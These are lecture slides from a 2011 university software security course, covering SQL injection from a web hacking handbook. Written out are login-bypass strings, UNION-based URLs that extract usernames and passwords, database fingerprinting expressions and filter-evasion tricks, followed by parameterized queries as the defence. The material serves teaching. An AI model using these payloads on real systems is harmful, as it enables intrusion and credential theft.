Software Security Lecture 3

1. Software SecurityLecture 3 Fang Yu Dept. of MIS, National Chengchi University Spring 2011

2. Outline • Today we will discuss how to bypass client-side controls (by Tony, Ch5) and SQL Injections (Ch9) • We shall also schedule all the presentations • The course website : • http://soslab.nccu.edu.tw/Courses.html

3. Injecting Code I Chapter 9 The Web Application Hacker’s Handbook

4. Injecting into Interpreted Languages • An interpreted language is one whose execution involved a runtime component that interprets the code of the language and carries out the instructions that it contains • SQL, LDAP, Perl, PHP. • In most applications, the code processed by the interpreter is a mix of instructions written by a programmer and data supplied by a user. • An attacker can supply crafted input that breaks out of the data context, usually by supplying some syntax that has a special significance within the grammar of the interpreted language.

5. Injecting into SQL • Web applications commonly construct SQL statements that incorporate user-supplied data, which if vulnerable, can enable an attacker to read and modify all data stored in the database. • If an application does not handle single quotation marks in user-supplied data, it is wide open to SQL injection. • An attacker can supply input containing a quotation mark to terminate the string that he controls, and can then write arbitrary SQL to modify the query. • A nice link for you to practice SQL injections • http://sqlzoo.net

6. Injecting into SQL Look at the following two queries and compare the difference in the output, where the user input is in red (Note that the single quote is part of the user input in the second example): SELECT * FROM books WHERE publisher=‘Wiley’ SELECT * FROM books WHERE publisher=‘Wiley’ OR 1=1--‘ SELECT * FROM books WHERE publisher=‘Wiley’ OR ‘a’=‘a’

7. Bypassing a Login SELECT * FROM users WHERE username= ‘marcus’ and password = ‘secret’ Consider the following simple SQL query that checks an attempt login: This query causes the database to check every row within the users table and extract each record where the username column has the value marcus and the password column has the value secret.

8. Bypassing a Login SELECT * FROM users WHERE username= ‘admin’--’ and password = ‘foo’ SELECT * FROM users WHERE username= ‘admin’ if an attacker knows that the username of the application administrator is admin he can supply the following username admin’-- Which is equal to

9. Bypassing a Login SELECT * FROM users WHERE username= ‘’ OR 1=1--’ and password = ‘foo’ SELECT * FROM users WHERE username= ‘’ OR 1=1 if an attacker knows nothing, he can supply the following username ’ OR 1=1-- which is equal to

10. Finding SQL Injection Bugs • For string data or numeric data, the following steps are normally sufficient to identify the majority of SQL injection vulnerabilities: • String data • In order to exploit any SQL injection flaw with user-supplied string data, you need to break out of the quotation marks that encapsulate a string in SQL. • Submit a single quotation mark. • Submit two single quotation marks together. • Oracle:‘||’FOO • MS-SQL:‘+’FOO • MySQL:‘ ‘FOO

11. Finding SQL Injection Bugs • Numeric data • The application may handle numeric data as a string by encapsulating it within single quotation marks, so always perform the steps described for string data. • Submit a simple mathematical expression. • Use SQL-specific keywords and syntax, such as the ASCII command, which returns the numeric ASCII code of the supplied character. • For example, all the followings are equal to 2 • 1+1 • 67-ASCII(‘A’) • 51-ASCII(1)

12. HTTP Encodings • Be careful to special HTTP characters • Use URL-encode them • & is %26 • = is %3d • + is %2b • ; is %3b • A whtespace is %20

13. Injecting into Different Statement Types • SELECT Statements • SELECT statements are used to retrieve information from the database • The entry point for SQL injection attacks is normally the WHERE clause of the query since that is where user-supplied items are passed to the database.

14. Injecting into Different Statement Types INSERT INTO users (username, password, ID, privs) VALUES (‘daf’, ‘secret’, 2248, 1) INSERT INTO users (username, password, ID, privs) VALUES (‘foo’, ‘bar’, 9999, 0) --’, ‘secret’, 2248, 1) • INSERT Statements • INSERT statements are used to create a new row of data within a table. • If any fields in an INSERT statement are vulnerable to SQL injection, an attacker can insert arbitrary data into the table, including values for fields that he should not be able to control.

15. Injecting into Different Statement Types UPDATE users SET password=’newsecret’ WHERE user = ‘marcus’ and password = ‘secret’ 1. Supply username as admin’-- 2. Suppy username as admin’ or 1=1-- • UPDATE Statements • UPDATE statements are used to modify one or more existing rows of data withina table. • An UPDATE statement works in a similar way to an INSERT statement, except it usually contains a WHERE clause like a SELECT statement.

16. Injecting into Different Statement Types • DELETE Statements • DELETE statements are used to delete one or more rows of data within a table • As with UPDATE statements, a WHERE clause is normally used to tell the database which rows of the table to update, and user-supplied data is most likely to be incorporated into this clause.

17. Injecting into Different Statement Types SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ UNION Statements The UNION operator is used in SQL to combine the results of two SELECT statements You can oftenemploy the UNIONoperator to perform a second, entirely separate query

18. SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ UNION SELECT username, password, uidFROM users--‘

19. SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ UNION SELECT username, password FROM users--‘ ORA-01789: query block has incorrect number of result columns ‘ UNION SELECT NULL-- ‘ UNION SELECT NULL, NULL-- ‘ UNION SELECT NULL, NULL, NULL--

20. SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ UNION SELECT uid, username, password FROM users--‘ ORA-01790: expression must have same datatype as corresponding expression ‘ UNION SELECT ‘a’, NULL, NULL-- ‘ UNION SELECT NULL, ‘a’, NULL-- ‘ UNION SELECT NULL, NULL, ‘a’--

21. Fingerprinting the Database All of them are equal to 0 Oracle: BITAND(1,1)-BITAND(1,1) MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED MySQL: CONNECTION_ID()-CONNECTION_ID()

22. An Oracle Hack example https://wahh-app.com/employees.asp?EmpNo=7521

23. A UNION attack https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL% 20from%20dual-- [Oracle][ODBC][Ora]ORA-01789: query block has incorrect number of result columns

24. A UNION attack Continue add NULL until no errors https://wahh-app.com/employees.aspEmpNo=7521%20UNION%20SELECT%20NULL,NULL,NULL,NULL% 20from%20dual--

25. A UNION attack Continue add NULL until no errors https://wahh-app.com/employees.aspEmpNo=7521%20UNION%20SELECT%20NULL,’a’,NULL,NULL% 20from%20dual--

26. Query user_objects table https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,object_name,object_type,NULL%20from%20user_objects--

27. Query User Table https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL, column_name,NULL,NULL%20from%20user_tab_columns%20where%20table_name%20% 3d%20’USERS’--

28. Get data! https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL, login,password,NULL%20from%20users--

29. Bypassing Filters • The application may remove or sanitize certain characters or block common SQL keywords, though these types of filters are often vulnerable to bypasses. • Avoid blocked characters • If the application removes some characters that are often used in SQL injection attacks, remember that the single quotation marks are not required for numeric fields. • If the comment symbol is blocked, you can inject values that are always true such as ‘a’=‘a’.

30. Bypassing Filters SeLeCt SELSELECTECT %53%45%4c%45%43%54 %2553%2545%254c%2545%2543%2554 SEL/*foo*/ECT username,password FR/*foo*/OM users • Circumventing simple validation • Some input validation will block or remove any supplied data which appears on a list. • Block/remove “SELECT” • Using SQL comments • Comments can be used to simulate whitespace within your injected data.

31. Bypassing Filters Oracle:‘adm’||’in’ MS-SQL:‘adm’+’in’ MySQL:concat(‘adm’,’in’) exec(‘sel’ + ‘ect * from ‘ + ‘users’) • Manipulating blocked strings • If the application blocks certain strings that you wish to place as data items in an injected query, the required string can be constructed dynamically using various string manipulation functions. • Using dynamic execution • Some databases allow SQL statements to be executed dynamically by passing a string representation of a particular statement to the relevant function.

32. Second-Order SQL Injection It is very common for applications to defend themselves against SQL injection by escaping single quotation marks with a second single quotation mark. But, this may pose a problem if the same item of data is being passed through several SQL queries, being written to the database and read back more than once An attacker could successfully bypass the input validation designed to block SQL injection attacks and execute arbitrary queries within the database and retrieve results.

33. Escalating the Database Attack If the database is shared with other applications, you may be able to escalate privileges within the database and gain access to other applications’ data. You may be able to compromise the operating system of the database server. You may be able to gain network access to other systems. You may be able to make network connections back out of the hosting infrastructure to your own computer. You may be able to extend the database’s existing functionality in arbitrary ways by creating user-defined functions.

34. Preventing SQL Injection • Partially Effective Measures • Escaping single quotation marks within user input by doubling them up • Using stored procedures for all database access • Parameterized Queries • The application specifies the structure of the query, leaving placeholders for each item of user input. • The application specifies the contents of each placeholder. • The most effective way to prevent SQL injections

35. A vulnerable query

36. A parameterized query

37. Next week We will continue injection code (Chapter 9) next week We will have Adam presents Attacking Authentication (Chapter 6) We will also discuss Cross-site Scripting Attacks (Chapter 12)